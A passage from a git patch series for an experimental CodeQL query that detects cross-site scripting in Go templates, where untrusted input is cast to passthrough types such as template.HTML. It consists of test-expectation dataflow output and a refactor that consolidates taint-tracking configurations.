HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | -| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | -| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | -| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | -| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | -| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | -| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion | | HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | -| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | -| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | -| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | -| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | -| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | -| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | -| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | -| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion | | HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | | HTMLTemplateEscapingPassthrough.go:74:17:74:31 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:75:38:75:44 | escaped | -| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:81:16:81:33 | type conversion | | HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:83:38:83:40 | src | nodes -| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | -| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | -| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | -| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | -| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | -| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | -| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | semmle.label | type conversion : HTML | | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | semmle.label | call to UserAgent : string | -| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | -| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | -| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | -| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | -| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | -| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | -| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | semmle.label | type conversion : HTML | | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | semmle.label | call to UserAgent : string | -| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | -| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | -| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | -| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | -| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | -| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | -| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | semmle.label | type conversion : HTML | | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | semmle.label | call to UserAgent : string | -| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | semmle.label | a | -| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | -| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | -| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | -| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | -| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | -| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | -| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | semmle.label | type conversion : HTMLAttr | | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | semmle.label | call to UserAgent : string | -| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | -| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | -| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | -| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | -| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | -| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | -| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | -| HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | semmle.label | c | -| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | -| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | -| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | -| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | -| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | -| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | -| HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : JS | semmle.label | type conversion : JS | | HTMLTemplateEscapingPassthrough.go:49:11:49:38 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | semmle.label | call to UserAgent : string | -| HTMLTemplateEscapingPassthrough.go:49:23:49:37 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | -| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | -| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | -| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | -| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | -| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | -| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | -| HTMLTemplateEscapingPassthrough.go:50:44:50:44 | d | semmle.label | d | -| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | -| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | -| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | -| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | -| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | -| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | -| HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : JSStr | semmle.label | type conversion : JSStr | | HTMLTemplateEscapingPassthrough.go:53:11:53:41 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | semmle.label | call to UserAgent : string | -| HTMLTemplateEscapingPassthrough.go:53:26:53:40 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | -| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | -| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | -| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | -| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | -| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | -| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | -| HTMLTemplateEscapingPassthrough.go:54:44:54:44 | e | semmle.label | e | -| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | -| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | -| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | -| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | -| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | -| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | -| HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : CSS | semmle.label | type conversion : CSS | | HTMLTemplateEscapingPassthrough.go:57:11:57:39 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | semmle.label | call to UserAgent : string | -| HTMLTemplateEscapingPassthrough.go:57:24:57:38 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | -| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | -| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | -| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | -| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | -| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | -| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | -| HTMLTemplateEscapingPassthrough.go:58:38:58:38 | b | semmle.label | b | -| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | -| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | -| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | -| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | -| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | -| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | -| HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : Srcset | semmle.label | type conversion : Srcset | | HTMLTemplateEscapingPassthrough.go:61:11:61:42 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | semmle.label | call to UserAgent : string | -| HTMLTemplateEscapingPassthrough.go:61:27:61:41 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | -| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | -| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | -| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | -| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | -| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | -| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | -| HTMLTemplateEscapingPassthrough.go:62:44:62:44 | f | semmle.label | f | -| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion | semmle.label | type conversion | -| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | -| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | -| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | -| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | -| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | -| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | -| HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : URL | semmle.label | type conversion : URL | | HTMLTemplateEscapingPassthrough.go:65:11:65:39 | type conversion : string | semmle.label | type conversion : string | | HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | semmle.label | call to UserAgent : string | -| HTMLTemplateEscapingPassthrough.go:65:24:65:38 | call to UserAgent : string | semmle.label | call to UserAgent : string | -| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | -| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | -| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | -| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | -| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | -| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | -| HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | | HTMLTemplateEscapingPassthrough.go:66:38:66:38 | g | semmle.label | g | | HTMLTemplateEscapingPassthrough.go:74:17:74:31 | call to UserAgent : string | semmle.label | call to UserAgent : string | | HTMLTemplateEscapingPassthrough.go:75:38:75:44 | escaped | semmle.label | escaped | | HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | semmle.label | call to UserAgent : string | -| HTMLTemplateEscapingPassthrough.go:80:10:80:24 | call to UserAgent : string | semmle.label | call to UserAgent : string | -| HTMLTemplateEscapingPassthrough.go:81:16:81:33 | type conversion | semmle.label | type conversion | | HTMLTemplateEscapingPassthrough.go:83:38:83:40 | src | semmle.label | src | #select | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | Data from an $@ will not be auto-escaped because it was $@ to template.HTML | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent | untrusted source | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | converted | From e2b7c035adeebb6b6d816a9aedec7050e076a9b7 Mon Sep 17 00:00:00 2001 From: Slavomir Date: Thu, 11 Mar 2021 15:22:11 +0100 Subject: [PATCH 14/20] Use only one instance of TaintTracking. --- .../CWE-79/HTMLTemplateEscapingPassthrough.ql | 16 +- .../HTMLTemplateEscapingPassthrough.expected | 219 ++++++++++++++++++ 2 files changed, 227 insertions(+), 8 deletions(-) diff --git a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql index ec04b628a5e..d1607921c1e 100755 --- a/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql +++ b/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql @@ -18,9 +18,9 @@ import DataFlow::PathGraph * and `conversionSink` gets populated with the node where the conversion happens. */ predicate flowsFromUntrustedToConversion( - DataFlow::PathNode untrusted, string targetType, DataFlow2::PathNode conversionSink + DataFlow::PathNode untrusted, string targetType, DataFlow::PathNode conversionSink ) { - exists(FlowConfFromUntrustedToPassthroughTypeConversion cfg, DataFlow2::PathNode source | + exists(FlowConfFromUntrustedToPassthroughTypeConversion cfg, DataFlow::PathNode source | cfg.hasFlowPath(source, conversionSink) and source.getNode() = untrusted.getNode() and targetType = cfg.getDstTypeName() @@ -41,7 +41,7 @@ class PassthroughTypeName extends string { * this allows the injection of arbitrary content (html, css, js) into the generated * output of the templates. */ -class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking2::Configuration { +class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking::Configuration { string dstTypeName; FlowConfFromUntrustedToPassthroughTypeConversion() { @@ -68,11 +68,11 @@ class FlowConfFromUntrustedToPassthroughTypeConversion extends TaintTracking2::C * Holds if the provided `conversion` node flows into the provided `execSink`. */ predicate flowsFromConversionToExec( - DataFlow2::PathNode conversion, string targetType, DataFlow::PathNode execSink + DataFlow::PathNode conversion, string targetType, DataFlow::PathNode execSink ) { exists( - FlowConfPassthroughTypeConversionToTemplateExecutionCall cfg, DataFlow2::PathNode source, - DataFlow2::PathNode execSinkLocal + FlowConfPassthroughTypeConversionToTemplateExecutionCall cfg, DataFlow::PathNode source, + DataFlow::PathNode execSinkLocal | cfg.hasFlowPath(source, execSinkLocal) and source.getNode() = conversion.getNode() and @@ -85,7 +85,7 @@ predicate flowsFromConversionToExec( * A taint-tracking configuration for reasoning about when the result of a conversion * to a PassthroughType flows to a template execution call. */ -class FlowConfPassthroughTypeConversionToTemplateExecutionCall extends TaintTracking2::Configuration { +class FlowConfPassthroughTypeConversionToTemplateExecutionCall extends TaintTracking::Configuration { string dstTypeName; FlowConfPassthroughTypeConversionToTemplateExecutionCall() { @@ -147,7 +147,7 @@ predicate flowsFromUntrustedToExec(DataFlow::PathNode untrusted, DataFlow::PathN from DataFlow::PathNode untrustedSource, DataFlow::PathNode templateExecCall, string targetTypeName, - DataFlow2::PathNode conversion + DataFlow::PathNode conversion where // A = untrusted remote flow source // B = conversion to PassthroughType diff --git a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected index d22f55d367d..f81c79f791b 100644 --- a/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected +++ b/ql/test/experimental/CWE-79/HTMLTemplateEscapingPassthrough.expected @@ -1,55 +1,274 @@ edges +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | +| HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | HTMLTemplateEscapingPassthrough.go:29:39:29:39 | a | +| HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion | | HTMLTemplateEscapingPassthrough.go:28:26:28:40 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:28:12:28:41 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | +| HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | HTMLTemplateEscapingPassthrough.go:35:40:35:40 | a | +| HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion | | HTMLTemplateEscapingPassthrough.go:34:23:34:37 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:34:9:34:38 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | +| HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : HTML | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | HTMLTemplateEscapingPassthrough.go:40:40:40:40 | a | +| HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion | | HTMLTemplateEscapingPassthrough.go:39:19:39:33 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:39:9:39:34 | type conversion : string | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | +| HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : HTMLAttr | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion : string | HTMLTemplateEscapingPassthrough.go:46:41:46:41 | c | +| HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to UserAgent : string | HTMLTemplateEscapingPassthrough.go:45:11:45:44 | type conversion | | HTMLTemplateEscapingPassthrough.go:45:29:45:43 | call to 